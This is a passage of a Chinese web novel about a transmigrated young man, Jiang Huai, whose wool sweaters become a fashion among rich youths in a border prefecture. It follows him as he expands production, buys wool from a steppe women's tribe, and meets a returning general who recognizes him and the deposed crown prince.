“这衣裳好怪!”一旁的小厮脱口而出,如果不是因为没有头,这毛衣看起来活像是人身子,尤其是毛衣厚重,不像布料一般轻飘飘,更是有些渗人。
陈家二少瞥了眼小厮,让小厮利落闭嘴,这才上前看了起来。
小厮说的没错,这衣裳确实怪,但是伸手一摸,陈二少就知道这衣裳确实暖和,但是要说轻薄。
“方掌柜,你是不是觉得我好骗,这衣裳哪里轻薄?”陈二少沉声道。
“陈少爷,您别看这衣裳看着厚,可这是穿在里面的,外面就不需要穿特别厚实的裘服,穿的单薄一些都行的,不信我可以穿给您试试看。”方掌柜清楚,挑货的才是买货人,陈二少这个态度反而证明他确实看上了毛衣,只是嫌弃这毛衣不轻薄。
“等会,这衣裳是要卖给本公子,你穿了,那这是给我穿的还是给你穿的。”陈二少皱眉,摸摸毛衣,拿着衣服就往里间走,准备换上。
方掌柜赶紧跟了上去,指点对方如何穿着毛衣,毛裤都好说,上身的毛衣穿起来确实麻烦。
陈二少本来还嫌弃他跟过来,只是当衣服脱掉再穿上,才发现这毛衣第一次穿,确实需要有人指点,不然过于紧实了。
费了一点劲才将衣裳穿上,陈二少也不穿自己脱下的衣裳,随手拿了一件秋衫,往身上一套,就直直朝门外走去,这毛衣穿着这么折腾,他倒要看看掌柜说的是真是假。
若是假话,让他白忙活一阵,哼哼……
第29章 第 29 章
冷风呼啸, 嘚嘚的马蹄声响起,一群少年郎纵马疾驰,肆意欢笑。
陈二少赫然就在其中, 一身玄色劲装,在一众裘衣中格外醒目。
一群人驱马停下,有人注意到陈二少的穿着与众不同, 闲聊起来。
“这陈二今日……怎么穿的如此单薄?”
“你忘了, 他前些日子穿了一件裘衣,因为身形肥胖, 被钱家少爷错认成熊瞎子, 都闹出笑话来了。”
“他这次穿的单薄, 怕不是想要洗刷之前的屈辱?”不过说话之人不觉得这能起什么效果。
虽然陈二少现在穿的潇洒, 可这才出来多久, 被冷风吹上一阵,对方怕就吃不消了, 又得重新穿上裘服, 可能之前的事都有人忘了,可他这么一折腾, 原本不知道的人都知道了。
听着其他人的窃窃私语,陈二少看向其他人臃肿的身形, 眉宇间透着一丝得意。
笑吧笑吧,待会就知道本少爷的准备有多齐全了。
狩猎时不断跑动,专注于打猎,不少人都没有感觉到太多寒冷, 可随着跑动渐缓, 准备回下人们搭建好的营地歇息一会,冷风如刀, 刀刀割的人脸生疼,哪怕穿着裘衣,也有些抵挡不住丝丝寒意。
“这天也太冷了吧!”有人低声抱怨道,“早知道就不出来了。”
“玩都玩了还说着干嘛,再说,你再冷,能有陈家二少爷冷,他那身衣裳,现在怕不是要冷的缩……”
“怎么了?”见对方话说到一半,戛然而止,两眼发直的朝侧方看去,问话人也顺着瞧过去,呆住了。
因为寒冷,不少人都是缩起身子,脸色也发白,可陈二,一身单薄的劲装,身板挺直,一点冷的迹象都看不出来。
别说这是陈二在装不冷,就算开始是伪装的,可都这么久了,就他这衣裳的单薄,早就要冷出病来了,怎么可能这么精神抖擞。
两人的动静在一群人中还是有些醒目的,两带三,三带四的,很快,在场的人都发现陈二少这边的情况。
刚才笑话陈二少的人倍感打脸,唯一庆幸的是因为风大,说话声音都被遮盖了一点,没被所有人听到,不然就是他沦为笑话了。
“陈兄,你这……怎么一点都不冷呢?”很快就有和陈二少关系好些的人问出声来,其余人哪怕装出一副不在意的模样,可却都竖起耳朵,想听听其中的奥秘。
陈二少将其他人的表现全都看在眼里,哪怕脸上不动声色,心底却乐开了花。
不枉他在发现毛衣的保暖效果极好后就想着要如何一鸣惊人,现在谁还记得之前的事。
面子得到了保障,陈二少心情也舒畅了不少,也不瞒着毛衣的消息。
十五两银子一件的衣裳确实贵,一般人都买不起,可在场的人是什么人,都是些富家子弟,花个几十两买身少见的衣裳,也不是多费力的事。
尤其听陈二少说这毛衣少,再看看身边人的神情,意识到不少人都心动了,就更加急切。
这毛衣就几件,这要是被其他人买走,哪怕只是比他们提前多装几天潇洒,他们也不服啊。
少年人,哪个不想身姿潇洒,只是天冷了,风度和温度难两全,现在有了两全的办法,都迫不及待的想要试试看了。
……
方掌柜没想到陈二少那边居然给他带来了这么大一笔生意,姜淮寄放在这里的几件毛衣几乎是瞬间被抢光了。
其实要不是陈二少说了毛衣有几件,在场的人都互相认识,也不好为了一件毛衣就得罪人,都有人想要一口气将毛衣买走,这样除去陈二少,就只有他能穿着潇洒了。
别管其他人之后是不是也能找到,起码现在自己能独占一下。
方掌柜没有注意富家子弟间的眉眼官司,而是陷入了甜蜜的烦恼。
这几件毛衣显然是不够的,其他富家子弟得知毛衣卖完了,纷纷催着让方掌柜再弄些货来,方掌柜连声应下来,好不容易才将这些贵客给送走了。
看着卖毛衣赚来的银子,方掌柜忍不住掐了自己一把,确定不是自己的错觉,顿时脸上笑开了花,前些天他还为毛衣的销路而发愁,眼下毛衣确实供不应求了。
虽说或许只能赚这么一次,可一件毛衣他能赚五两银子,这要是卖个十几件,他就能赚五六十两了,基本算是白得的。
方掌柜迫不及待就想找姜淮要货,毕竟趁着这些富家少爷还对毛衣兴趣正浓时卖,才是最好卖的,要是拖延一会,指不定对方的兴趣又没了。
这还不是最要紧,万一其他成衣铺也做出毛衣来了呢?那这笔生意就要被抢了。
方掌柜可太了解同行间的信息传播速度。
只不过一说到找姜淮,方掌柜才想起来,每次都是姜淮主动上门,他哪怕知晓姜淮的名字,也不知道姜淮的住所,但好在,他记得这毛衣是羊毛材质,而姜淮之前问过骆远的住址,找到骆远说不定就能知晓姜淮的消息。
就在方掌柜着急忙慌找姜淮的时候,安远府内的成衣铺子、布行也听说了这件事。
倒不是他们消息真的如此的灵通,而是一些在方记成衣铺买没有买到毛衣的富家子弟,这头从方记出来,后脚就去了别的店铺问,自然也就把毛衣的消息泄露出去。
几十两银子的生意倒不怎么让他们感到眼热,主要十几个富家子弟来方记成衣铺买毛衣让人觉得新鲜,而且新布料也让他们有些好奇。
听着富家子弟的形容,这毛衣又薄,又贴身,又保暖,但是又不是什么皮料,像是绒毛做成,又软又暖的,实在是让他们想不明白。
有掌柜的倒是想看看这个毛衣到底长什么样,只可惜见其他成衣铺连毛衣什么都不知道后,买到毛衣的人就更加珍惜了,怎么舍得将毛衣给他们研究一番。
而没买到的富家子弟也急了,时不时就催人去方记问问看,毛衣到了没有。
之所以表现的如此迫切,一来确实是着急,二就是担心万一去的不勤快,哪天方记毛衣到了,但数量不多,岂不就让其他人先买上了,自己还得等。
方掌柜从来没被人这么催过,好在他总算是找到了姜淮。
将赚来的银子一分不少的交到姜淮手里,又从姜淮这边拿了些新织好的毛衣走。
“姜公子,就这些吗?还有没有更多点啊?”饶是如此,方掌柜还是有些不满足,恨不得再从姜淮这边拿些毛衣。
只是他拿去的已经是这边最后的存货,姜淮哪里还有多余的货给他。
方掌柜不甘心的磨了一会,毕竟一件毛衣就是五两银子的提成,只要能从姜淮这边多要几件,根本不愁卖不出去。
只是姜淮这边确实没货了,方掌柜见状只能叮嘱道:“这毛衣现在想要的客人特别多,得趁着这股东风,赶紧卖,不然等风没了,毛衣就不好卖了。”
姜淮知道方掌柜的意思,慎重点头,毛衣这个价格确实只有这一段时间,除非他选择饥饿营销,可以将毛衣的价格稳定住,不然只要扩大销售,毛衣的定价就不可能还维持这个数字。
扩张,必须得扩张产线。
姜淮略做分析,就得出了这个结论。
得知姜淮准备招人做毛线和毛衣,骆远第一个自荐。
因为不用担心骆远,加上每日吃好歇好,贺氏这些天身体也好了许多,倒是可以承担纺线织衣的工作。
姜淮之前没有说过扩招,骆远也没提这件事,万一姜淮觉得他贪心不足呢,可姜淮现在提出来了,那自然就是肥水不流外人田。
这些天相处下来,姜淮发现骆远很是知恩图报,可见贺氏是如何教育他的,对于贺氏也有几分好感,况且这招的工也是要值得信任的人,不能随便,那贺氏就不错了。
不过只有贺氏一个人恐怕还不够,还需要再找一个,姜淮正想着该去哪里再招人,萧靖昭开口帮忙。
“你去招人?”姜淮惊讶。
萧靖昭点头道:“毛线和毛衣的制法是独门秘诀,不能轻易让人知道,我在城外行走,遇到过一些流民,可以签卖身契,安全些。”
姜淮沉默了一瞬,还是同意了萧靖昭的建议,他知道萧靖昭为什么会这么做,如果是普通的雇佣,一旦有人挖角,很难保守住秘密,可如果有卖身契,背叛的代价就高些了。
虽说之后,可能毛线毛衣的做法多多少少会被人发觉,可现在还是要小心些。
而且,姜淮感觉要做事的话,确实需要一直可以信任的人手,不然生意也难做。
听到两人说找来的雇工要签卖身契,骆远脸上有些为难,他愿意让贺氏来姜淮这边做工,但卖身契还是超出了他的预期,哪怕姜淮和萧靖昭看着不是那种刻薄之人,他也不愿意。
“公子,我娘她……”可同时,骆远也清楚,毛线和毛衣的做法确实需要保密,顿时纠结起来。
“贺氏那边签一份保密的文书便好。”姜淮摇摇头,对贺氏,他的要求地只是普通雇工,就不要求太多了。
第30章 第 30 章
贺氏得知骆远给她找了份工后, 丝毫不在意保密契约,爽快地签了下来,收拾了下一番, 就准备来姜淮这边做事。
如果只是贺氏,萧靖昭那边再招一个人,城内的宅子倒是可以容纳下这么多人, 只是萧靖昭硬是招了三个人来, 哪怕他们租住的这个房屋不算小,可再多住四个人, 也有些拥挤了。
更别说不光是在屋里住, 还要清洗羊毛, 梳毛纺线, 编织毛衣, 对水的需求也大了起来。
姜淮考虑了一番,决定在城外靠水的地方再租一宅子, 或者干脆买个宅子。和城内比, 城外宅子价格几乎是脚踝斩,而且城外的宅子也有个好处, 收羊毛方便不少,而带着大量羊毛入城多少有些扎眼。
得知姜淮招了好些人手, 现在准备在城外买栋宅子,方掌柜格外热情地帮忙,他可太想让姜淮扩大生产了,本以为还要耽误一会, 没想到姜淮行动如此迅速。
看着方掌柜为姜淮的事忙里忙外, 连自家店生意都顾不得了,方夫人有些不满, 用饭时不禁提了一嘴,语气带着些抱怨。
“自家的生意都不顾了,就去帮外人的忙。”
方掌柜啪地放下筷子,瞥了她一眼,道:“我这忙里忙外的,还不是为了咱们铺子。”
看方夫人不信,方掌柜摇摇头解释道:“你也不看看姜公子这毛衣有多受追捧,他能把毛衣放在咱们店卖,也能把毛衣放别人店里卖,这外面的成衣铺,多少人都在找他,只要他开口,说不定都愿意倒贴钱卖呢。”
方夫人着急道:“那毛衣寄卖,也是你帮了他的忙呀,他还能忘恩负义!”
方掌柜眼神冷了下来:“什么忘恩负义?毛衣寄卖我不过多费了些唇舌,几句话就赚几十两银子,说是我们对他的恩情吗?”
想到方掌柜拿回来的几十两银子,方夫人不吭声了,年关难过,可有了这几十两银子就好过多了。
见方夫人沉默下来,方掌柜继续吃,其实最要紧的一点方掌柜还没说,姜淮之前来买冬衣,明明两个人,却只舍得买一件冬衣,足见他当时有多窘迫。
可这才过去多久,不过拿了件毛衣出来,就换了大几十两银子,方掌柜猜测,光靠这毛衣,这一冬姜淮就能赚几百上千两的银子了,结合他对姜淮身份的猜测,方掌柜认为姜淮的未来远不止如此。
锦上添花哪里有雪中送炭来得好。
……
有了一座单独宅子作为毛线作坊,生产效率一下子就提高了不少。
贺氏本来对纺线编织就有经验,姜淮一教,很快就上手熟练了,因为她编织毛衣的速度实在是太快了,甚至连姜淮构想的花纹都能编织出来,姜淮立刻就让她不要去纺线,直接加工钱当编织工。
贺氏给的惊喜姜淮还有预料,可萧靖昭找来的三个流民却不在姜淮的预料之中,虽然学习速度没有贺氏快,可多学两遍,也很快就上手了。
以至于先前收上来的羊毛很快就给用完了,得再去买羊毛。
问了贺氏一番,确定弯头村的羊毛不错后,姜淮又去收了一次羊毛。
只不过弯头村的羊毛也不算多,毕竟村子不是专门以养羊为生,而且姜淮对羊毛的要求也高,一些羊毛品质太低,姜淮就根本不收,以至于收这一次还不够,至于附近的村子,姜淮去问了一圈,不知怎么回事,似乎有其他人也在收羊毛,以至于村民都不卖。
姜淮不知道,其他成衣铺虽然没有找到他的存在,但是也寻机会拆了一件毛衣,确定毛衣是用羊毛制作的,就出来收羊毛,想看看能不能研究出来,以至于一时间安远府的羊毛都有些涨价。
“公子,若是走远一些,倒是可以收到好羊毛。”见姜淮为这事为难,贺氏犹豫了一下道。
“哪里有?”姜淮问。
贺氏低声说了起来,她是从草原出来的,所以对安远府附近的一些草原部落还算熟悉,有些部落是会跟着蛮族攻城,可有些小部落没有那么大的胆子,也抢不过大部落,就在安远府边上的草场放牧。
贺氏和一个小部落熟悉,知道那边秋天的羊毛刚剪过,应该还存了不少。
姜淮从贺氏口中了解了一番小部落的情况,也没有轻信,回头去方掌柜那边问了一下,本以为方掌柜不一定知道多少,谁知方掌柜对这个部落也有印象。
“唉,其实说是蛮族那边的部落,其实也是一些大周的女子被掳走,和蛮族生下孩子,有些跑出来了,有家无处回或者无家可归,干脆就放牧为生。”方掌柜叹息道。
姜淮没想到这个部落竟然是有这么个隐情在,想起贺氏说起时的态度,又想到骆远的情况,怪不得贺氏会和这个部落熟悉。
了解过情况后,姜淮对这个部落的观感好了不少,和贺氏打听了一番这个部落平时都会缺什么,要买什么,将一些银钱换成了货物,然后带着人出发。
当然,姜淮也没有忘记带着萧靖昭,也让其他人带上了一些武器。
就算相信,可该防范的还是要防范,万一他的消息不对呢,买了刀剑用不上总好过想用的时候没有。
贺氏也跟着一起来了,姜淮是第一次去那个部落,没有熟人带,容易出现误会,毕竟安远府这边也很少派人过去,说不上是嫌弃还是什么,只是有些冷漠。
贺氏和姜淮说起这个部落的消息,其实只是抱着试一试的心态,没想到姜淮居然真的会过去采买羊毛,甚至考虑到部落当中可能不光是缺钱,还缺货物,选择带些货过去,这让贺氏有些震撼。
坐在牛车上,贺氏手上也没有停,不断地织毛衣,她能报答姜淮的也就是不断地赶工,因为只要多织一件毛衣出来,姜淮就能多赚些银子。
不光是贺氏,其他三人也都是手下没有停活,哪怕姜淮说路上晃着容易伤眼,让他们歇歇,他们都是表示自己可以不看着针脚织毛衣,其他人这么勤奋,姜淮也没有办法,只能让他们织着,和萧靖昭一起赶着牛车往前走。
牛车缓慢地往前走着,一路走走歇歇,好不容易在下午走到了小部落的地界。
初冬了,地上几乎看不到任何的青草,如果不是一顶顶的帐篷,姜淮都没想到这里居然还有人在,在这牧羊,真的能把羊养活吗?
姜淮脑海中闪过这个念头。
不过很快,姜淮就将这些念头抛开,车队刚抵达这里,帐篷里就有人出来朝这边看来,很快又有人骑马过来,来人是个高大的女子,身形虽不算健壮,但看着气势汹汹,一看就不好惹。
“你们……”女人粗声粗气开口。
“赵姐,我们是来收羊毛的。”贺氏跳下马车,赶紧开口。
赵姐这才注意到来的这一行人中竟然有一个熟人,或者说两个,赵姐瞥了眼正在车上埋头织毛衣的骆远,这小子看着似乎壮实了些啊。
从贺氏口中问清一行人的来意后,尤其是知道姜淮知道他们这边缺东西,特意将一些银钱换成了货物,赵姐看向姜淮的目光顿时柔和了些许。
赵姐领着一行人去了帐篷内,其他帐篷里也有人站在帘子处朝外张望,不过看到来的一行人几乎都是男子,便没有出来。
不过等赵姐吩咐下去,很快就有人将她们剪下来的羊毛拿了过来,姜淮仔细地检查了一番,发现这些羊毛的质量比起在弯头村收的可是好了不少。
不过也正常,弯头村算是兼.职,而赵姐这边算是专职放牧,羊怎么可能养得不好。
确定羊毛的质量没有问题,问清价格后张毛,姜淮直接表示要将整个部落的羊毛都收了,他这些天靠卖毛衣也赚了不少钱,而羊毛的成本也不算太高,刚好这一趟来了,那就全买了算了。
得知姜淮要将羊毛全部收走,将羊毛送来的人都露出喜色,羊毛她们年年剪,可每年羊毛都卖不出什么钱,至于将羊毛带到安远府去卖,他们试过,可入城卖货要花钱,找场地要花钱,最主要是买货的人一听她们的来历,有些就压价,以至于她们都不太愿意卖了。
赵姐也没想到姜淮这么大气,想了想,表示既然姜淮全都要,那就再给姜淮一点折扣,又让姜淮省了些钱。
其他人听到赵姐的话,虽然有些不舍,可又觉得能一口气卖完,她们也没有损耗,哪怕少赚一点,也还好。
“那我还带了一些货物来,赵姐你也看看能抵多少银钱吧。”姜淮开口道。
其他人还不知道姜淮是带了货物来,听他这么一说,直接跑去牛车看,才知道姜淮不光是要用银子付钱,甚至知道她们这边缺货物,选择带了些货物过来。
而对方说着让赵姐看看能抵多少钱,这行动和赵姐刚才的打折其实是一样的。
姜淮带来的货物不多,都是些小东西,但都算是部落里急需的。等赵姐算完账后,还躲在帐篷里的其他人都纷纷出来,不断地挑选起来,活像是过年似的。
一口气买这么多羊毛是省事了,加上赵姐给的折扣,还省钱了,唯一的问题就是来时就赶了两辆牛车来,就算回去的时候人都走路,让车载货,可这次买的羊毛太多了,牛车恐怕都载不动。
赵姐见姜淮为难,立刻拍着胸.脯道:“姜公子若不介意,我和姐妹们可以帮忙送送货物。”
姜淮哪里会介意,直接一口应了下来。
赵姐立刻就安排了下去,用细密的大网将羊毛给装了起来,姜淮算是知道贺氏是从哪里学来的了,
之后又将羊毛挂到马身两侧,因为最勒的地方是在马鞍上,倒是不会让马受伤,几番尝试后,赵姐总算是确定了一匹马能承载多少羊毛。
天色渐暗,赵姐热情的拉着姜淮一行人,邀请他们去帐篷内吃饭,她特意让人宰了一头羊,今日有羊肉吃。
而且都这么晚了,姜淮一行人要是回去,路上怕是要出事,还不如先在她们这里好好吃一顿,睡一觉,然后明天再出发。
来之前姜淮就做好了在这歇一宿的准备,见赵姐邀请,也没有拒绝。
只是没等一行人开饭,一阵说不出来的声音从远处传来,姜淮还没有什么反应,倒是赵姐脸色骤变,她一下就听出这是马群奔跑的声音,可这附近哪来如此多的马?
30-40
第31章 第 31 章
如此大规模的马群出动, 让赵姐不自觉想到之前蛮族入侵时的场面,当时也是马蹄声如雷,如果不是她警醒, 提前带着其他人一起跑了,恐怕她们这个部落现在就消失了。
难道蛮族又来偷袭安远府了?
尽管大规模袭击一次之后,蛮族不太可能再来一次, 可赵姐不敢赌, 万一是又来了呢,她赌输了, 输掉的可就是命了。
萧靖昭也同样警惕起来, 尽管他没有直面过蛮族入侵, 可内心的警惕还是让他想到了一些不太妙的猜测。
萧靖昭拉着姜淮从帐篷里出来, 左右张望, 想看看马被牵到哪里去了,如果真是有敌人过来, 躲在帐篷里是最不安全的, 骑马逃走更加安全。
至于如果真的是有敌人来,其他人要怎么办, 萧靖昭顾不上那么多。
姜淮本来还没有太紧张,毕竟他从来没有经历过战事, 自然也就没有往这边想,可看萧靖昭都如此紧张起来,姜淮察觉出不对劲,低声问:“什么情况?”
“这些马蹄声, 或许是有大队骑兵出没。”萧靖昭没有瞒着姜淮, 沉声解释。
姜淮倒抽一口凉气,安远府位于边境线, 从赵姐所在的部落再往前走些,就是蛮族的地盘了,这么大队的骑兵冲过来,极有可能就是蛮族入侵。
来安远府这么些天,姜淮多多少少都了解到蛮族的凶残,听这声音,说不定蛮族的骑兵会路过部落歇息,如果情况真是他猜测的这样,那他们都危险了。
“姜公子,听声音,这马群离我们还有段距离,也不知是敌是友,你骑上马快跑吧。”赵姐当机立断,虽然她也可能猜测错误,可现在跑还来得及,要是再晚点,可就连炒面的机会都没了。
和姜淮说完,赵姐看向众人,原本众人脸上都挂着喜悦的笑容,可如今,全都变成了眼神慌乱的模样。
“都不要乱,如今快入夜了,我们都骑上马,分散逃命,能跑一个是一个,到……”赵姐说着停顿了一下,还是没有说去哪里会面,毕竟万一被抓住的话,会面地点就不安全了。
还不如让其他人随便跑。
至于说猜错了,哪怕分散着在外面躲一晚,也不会出什么大事。
决定做下,赵姐也不再犹豫,带着众人去马厩,让人骑马逃命去。
贺氏紧紧抱住了骆远,想要和他同乘一匹马跑路,但骆远拒绝,直接翻身上了一匹马。
“娘,两人一马跑不快的,我也不小了,我会骑马。”骆远小脸板着,催着贺氏单独骑马,他很清楚,如果让娘和他一起骑马,一旦遇到危险,贺氏一定会想着让他逃命,不顾自己的安危。
与其这样,还不如各自骑马,到时候活命的机会还多些。
贺氏想阻拦,可是赵姐哪里有工夫让她们磨叽下去,确定后就让她们赶紧骑马逃走,时间不等人。
萧靖昭一把揽住姜淮,带着他上了马,他挑的那匹马算是所有马当中最膘肥体壮的了,赵姐看了一眼犹豫了下,还是没有出声,骑上一匹大马,带着其他人逃命去了。
姜淮紧紧抱住萧靖昭的腰,北风凛冽,刮得人刺骨地疼。
“真的会是蛮族入侵吗?”姜淮脑海中不断思索着原文剧情。
在原文记载中,除去卫家出事那一次,安远府险些被蛮族攻破,之后蛮族都没有在安远府讨到什么便宜,也没有记载蛮族大肆攻城的记录,总不至于是他穿越这些天的蝴蝶效应导致这个结果。
想想自己这些天做过什么,姜淮摇摇头,觉得他的这点行动怎么可能造成这么大的变化。
“也可能不是。”
听到回答,姜淮才发现自己竟然把脑子里想的事说了出来,不过萧靖昭的回答更让姜淮好奇,如果不是蛮族入侵,那会是什么?
“北疆除去蛮族有如此大规模的骑兵外,安远府也有一支失踪已久的骑兵,消失的方向就是蛮族的地界。”萧靖昭低声道。
几月前的战斗过于惨烈,卫家和安远府都损失惨重,但在这场战事中,有五千骑兵消失了,谁也不知道卫轩将这支骑兵带到了哪里?
而后卫家被人揭发私通蛮族,挟寇自重,有人怀疑卫轩是不是带着骑兵投靠了蛮族,或者说私通蛮族的时候,被蛮族给铲除了。
大周上下各种猜测都有,但是大部分人都觉得卫轩处境不妙,不然他但凡还能活动,得知卫家的事都坐不住的。
安远府的百姓对卫家是最信任的,哪怕卫轩几月都没有再出现,依旧相信卫家没有背叛大周,只是对于卫轩的处境,也是越来越悲观,觉得卫轩肯定是出事了。
可萧靖昭却不相信小舅舅会就这样的出事,一直在调查。
萧靖昭的这番话瞬间提醒了姜淮,他记得原文中提起过,卫轩不但没有事,反而回来后很快洗刷了卫家的冤屈,甚至全盘掌握了安远府的军权,可以说,原文中废太子之所以能成事,和这个小舅舅的能力也是分不开的。
而卫轩之所以可以洗脱卫家的冤屈,是因为他携大胜而归,虽然安远府好像被蛮族打得很惨,可卫轩在蛮族腹地取得的战功更是耀眼夺目,转战数千里,连破数城,掳掠的俘虏牛羊数不胜数,让蛮族之后几年都一蹶不振。
不过卫轩是什么回来的呢?
姜淮冥思苦想,可惜原文没有写得这么细致,不过姜淮觉得这支骑兵是卫轩带领的可能性很大,毕竟按照原文记载来看,这时候蛮族已经被卫轩打得很是狼狈,几乎不太可能组织起兵力继续攻打安远府。
哪怕安远府刚刚大败一场,可蛮族本就不太擅长攻城,这要是卫轩再从后面来,腹背受敌,蛮族这些年积累的底子怕都要被打光了,姜淮不觉得蛮族会冲动到这个地步。
如果不是蛮族的话,那他们是不是就不用这么跑了?
姜淮是这样想的,而萧靖昭也有了些猜测,只是身后的骑兵太多,谁也不敢冒险。
忽地,远处传来一阵悠远的呜声,萧靖昭猛地勒紧了缰绳,扭头朝后方看去,日光昏暗,姜淮有些分辨不出萧靖昭脸上到底是什么表情。
萧靖昭停下,一直跟在身后的三人也都停了下来。
而其他朝别处跑的人也都陆陆续续停了下来,聆听这道乐声,脸上难掩激动之色。
“这声音是什么?”姜淮问道。
“公子,这是卫家大胜归来时的乐声。”贺氏回道,脸上带着庆幸之色,怕姜淮不明白,贺氏又解释了一番。
原来,卫家带兵出征时是静悄悄的,可只要大胜归来,路上经过大周所管辖的地界,都会发出足够鲜明的乐声,以表示他们这次又获胜了,安抚民心。
因为过于乐声过于鲜明,也无人敢冒充,所以只要一听到这乐声,附近的人就知道卫家又获胜了,安远府又安全了。
这几个月,她们一直没有听过这种乐声,也以为以后再也听不到了,却不想在这里听到了。
看到贺氏和骆远对卫家的崇拜,姜淮又不禁想起安远府内百姓对卫家的重视,有些明白为什么皇帝要废太子前,还要先铲除卫家,不铲除卫家根本无法动摇太子的地位啊。
只是明白归明白,可皇帝这么做也真的是太昏庸了些,也不怪废太子后面造反打回去,让皇帝惊惧而死。
一报还一报啊!
姜淮有些感慨,不过却也没有太多想,毕竟他不觉得就他这样的情况,还能掺和皇家的事,他就安安心心地等着太子登基,然后顺利平反回京去。
不过如果卫轩回到了安远府,以姜家和卫家的关系,只要卫轩知道他的存在,姜淮觉得自己的日子应该会好过些吧。
姜淮正想着,忽然从身后传出马蹄声,一行人紧张起来,就看到几个穿着大周战袍的骑兵从后面过来,看起来像是先行的斥候,而几人身后还跟着赵姐一行人,显然是先被斥候遇到,知晓对方的身份后就赶紧回去。
几个斥候扫了眼几人,目光落到后面三人身上,稍微停顿了一会,又看向最前方的萧靖昭和姜淮,转身问身后的赵姐,确定了几人的身份后,神情稍缓,不过也希望他们能回部落,不要在外面待着。
说这话时,姜淮发现斥候脸上还带着怨怼之色,似乎带着怒气。
虽然是大周的军队,但是斥候这么说了,也不像是商量的意思,姜淮想了想还是和萧靖昭一起回了部落,现在这个架势,非要跑的话容易出事。
一行人很快就回到了部落所在地,姜淮震撼地看着面前的场景,千军万马一直只是个形容词,直到今日,他才知道千军万马到底是个什么场面。
最后,还是萧靖昭收紧的手让姜淮回过神来,姜淮这才发现,萧靖昭不知为何,似乎有些紧张。
第32章 第 32 章
有将士注意到这边的动静, 朝这边过来,问了斥候两句,知晓他们是原来住在这里的人, 刚才逃跑是误以为来的是蛮族,安抚地笑了笑道:“你们放心,蛮族早就被卫将军给打的落花流水, 怎么可能来进犯安远府。”
说话间, 将士脸上满是骄傲,在之前他们就有这个自信, 而在卫轩的带领下, 击破蛮族几座大城后, 这个自信就更加充沛了。
“大人……”赵姐急切地开口, 可还没有等她说, 斥候就先开口了,低声禀告起来。
姜淮这才知道斥候为什么会面带怒容, 原来他们这几个月都是在蛮族腹地活动, 来去如风,所以都不知道安远府的消息, 更不知道卫家出事。
而遇到赵姐后,赵姐知晓他们的身份后, 就赶紧将安远府的变故禀告出来,不然将士们毫无准备地回到安远府,谁知道会发生什么。
将士听完斥候的禀告,脸色瞬间变了, 让身后的看顾好姜淮一行人, 转身匆匆离去,想来是去禀告卫轩。
赵姐她们的帐篷并没有被人占据, 一行人站在外面吹了一阵风后,都陆陆续续地回了自己原来的帐篷。
只不过姜淮一行人就没处去了,赵姐也看出几人的情况,带着姜淮几人去了之前的帐篷。
“你们今日就先在这里歇息吧,想必明日就可以回去了。”赵姐说着,还将先前宰杀分割好的羊肉拿了出来,准备给他们烤着吃。
这是之前就安排好的,既然没有危险,那生意还是要照做,客人也得好好招待好,赵姐还想让姜淮吃好喝好,下次还来她们部落采买羊毛呢。
不过这么一番折腾下来,姜淮也不想太劳师动众,拦住了赵姐的动作,道:“赵首领,你先去忙吧,想必其他地方更需要你。”
比如说部落内其他受惊的女眷,刚才那么一阵慌乱地逃跑,估计都没有什么准备,被冷风这么一吹,又受到惊吓,身体弱点可能都要病,这一晚不会多轻松。
赵姐听到姜淮的话愣了下,没想到姜淮观察如此细微,犹豫了下,确定姜淮说的是真心话,这才告罪离开。
姜淮掀开帘子,露出一道缝隙,然后熟练地架着羊肉烤起来,火光时不时跃起,舔舐鲜红的羊肉,然后逐渐转变羊肉的颜色。
姜淮撒了一点出门前准备的调味料,一点点的香气在帐篷里扩散开。
姜淮回头,发现萧靖昭怔怔地看着前方出神,不知道在想着什么。
“想什么呢?”姜淮问。
萧靖昭回过神来,才发现帐篷内竟然只有他和姜淮了,问:“其他人呢?”
“贺夫人和骆远去别的帐篷了,罗大他们去看我们买的那些羊毛怎么样了。”姜淮一边翻转烤肉一边说道,不等萧靖昭反应过来,朝他伸手,“把刀给我,这羊肉太大了,外面熟了,我先切下来再烤里面。”
萧靖昭一把抢过姜淮手里的烤羊肉,道:“我来吧。”
姜淮本来想说自己就好,可是掂了掂手里的羊肉,估摸了下单手拿羊肉,一手还要切肉的难度,还是起身让出了位置。
一片片熟透了的羊肉被萧靖昭给片了下来,姜淮夹了一块尝了尝,满意地眯起眼睛,他对调味的把握一如既往地好,赵姐养的羊品质也好,羊肉没有膻气,只有羊肉独有的鲜香,加上调味料的辅佐,一下就让姜淮感觉饿意又回来了。
在外面跑了一趟,姜淮的饿意都消失得差不多,本来还担心可能吃不下,现在不担心了。
吃完一口,姜淮手下没停,夹了一块肉送到萧靖昭嘴边,自己吃了,也不能亏待厨子。
萧靖昭侧头,咬住肉片的边缘,将肉片吞了下去。
两人你一口,我一口地吃起来,姜淮发现这样吃有个好处,肉片下来还没过多久就入口了,不至于放凉,吃起来也舒服多了。
……
帐篷外嘈杂的脚步声走来走去,但是这声音一开始就有,姜淮也没有在意,直到有人撩起帘子走了进来,姜淮本以为是罗大他们回来,可抬头却看到一个身着铠甲的陌生男人。
来人背对着光,让人看不清容颜,只看清一双眼睛,犹如夜空的寒星,让人一看就心底发冷。
“将军来是……”姜淮迟疑着开口,通过铠甲,他看出眼前这人应该不是普通的将士。
卫轩刚从赵姐那边得知了安远府的消息,只不过赵姐所在的部落离安远府远了点,消息也并不算灵通,所以在说完自己知道的消息后,赵姐就提到了姜淮。
赵姐不知道姜淮的身份,只当姜淮是安远府的商户,在她印象中,商户的消息总是比她灵通的。
卫轩也接收到她的暗示,转头就来找姜淮了解更深的信息,比如对方知不知道卫家此时的情况,以及皇后和太子的情况如何。
因着心情沉重,卫轩撩起帘子时还有些走神,直到听见姜淮有些迟疑的声音才回过神来。
卫轩正要回答,眼尾余光瞥见站在姜淮身边的人,尽管对方的面容看上去比以前成熟了不少,也显得黯淡了些,可卫轩太熟悉了,依旧一眼认出来人是谁。
卫轩浑身一颤,险些怀疑自己是在梦中,不然怎么就会看到据说已经死去的太子,莫不是太子的冤魂来找他诉苦了。
卫轩恍惚出神,只是因为萧靖昭和姜淮站在一块,以至于在姜淮看来,就是卫轩一直盯着自己看,似乎是在看什么故人。
莫非这位将军认识自己?
“将军莫非认识我?”姜淮试探着问了一下。
卫轩回神,这才重新注意到姜淮,而这一看,卫轩又是一愣,这也是个熟人。
卫家和姜家的关系还不错,卫轩幼年因着调皮,还被送到姜老太傅手下学过一段时间,虽然师生缘分浅淡,但卫轩也几乎是将姜家的人都认全了,其中自然也包括姜淮。
